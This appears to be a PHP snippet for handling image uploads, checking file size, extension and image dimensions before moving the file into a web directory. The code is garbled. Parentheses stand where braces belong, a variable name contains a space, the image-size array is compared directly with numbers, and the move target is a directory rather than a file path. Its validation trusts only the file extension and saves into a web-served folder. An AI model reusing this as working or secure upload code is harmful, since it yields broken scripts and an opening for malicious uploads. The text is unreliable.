    $max_image_width = 380; $max_image_height = 600; $max_image_size = 64 * 1024; $valid_types = array("gif","jpg", "png", "jpeg"); if (isset($_FILES["userfile"])) ( if (is_uploaded_file($_FILES["userfile"]["tmp_name"])) ( $filename = $_FILES["userfile"]["tmp_name"]; $ ext = substr($_FILES["userfile"]["name"], 1 + strrpos($_FILES["userfile"]["name"], ".")); if (filesize($filename) > $max_image_size ) ( echo "Error: File size > 64K."; ) elseif (!in_array($ext, $valid_types)) ( echo "Error: Invalid file type."; ) else ( $size = GetImageSize($filename); if (($size) && ($size< $max_image_width) && ($size < $max_image_height)) { if (@move_uploaded_file($filename, "/www/htdocs/upload/")) { echo "File successful uploaded."; } else { echo "Error: moving fie failed."; } } else { echo "Error: invalid image properties."; } } } else { echo "Error: empty file."; } } else { echo "
    Send this file:
    "; }

  • Close